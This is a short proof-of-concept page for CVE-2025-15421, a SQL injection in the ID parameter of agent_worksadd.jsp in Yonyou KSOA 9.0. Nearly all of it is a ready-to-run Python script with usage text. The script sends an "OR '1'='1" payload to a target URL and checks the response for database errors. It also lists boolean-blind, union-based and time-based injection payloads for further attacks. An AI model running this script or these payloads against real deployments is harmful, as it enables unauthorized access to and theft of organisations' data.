CVE-2025-15421 用友KSOA 9.0 agent_worksadd.jsp SQL注入漏洞

import requests import sys # CVE-2025-15421 PoC - Yonyou KSOA 9.0 SQL Injection # Target: /worksheet/agent_worksadd.jsp def exploit(target_url, payload): """Exploit SQL injection in Yonyou KSOA 9.0 Args: target_url: Base URL of the target application payload: SQL injection payload """ # Construct the vulnerable URL with malicious ID parameter vuln_url = f"{target_url}/worksheet/agent_worksadd.jsp?ID={payload}" try: # Send HTTP GET request with the malicious payload response = requests.get(vuln_url, timeout=10) print(f"[*] Sending request to: {vuln_url}") print(f"[*] Status code: {response.status_code}") # Check for SQL error indicators in response if any(err in response.text for err in ['SQL', 'mysql', 'syntax', 'error']): print("[+] Potential SQL injection vulnerability detected!") print(f"[+] Response preview: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] # Basic SQL injection test payload test_payload = "1' OR '1'='1" exploit(target, test_payload) # Example payloads: # Blind Boolean-based: 1' AND 1=1-- # Union-based: 1' UNION SELECT NULL,NULL,NULL-- # Time-based: 1' AND SLEEP(5)--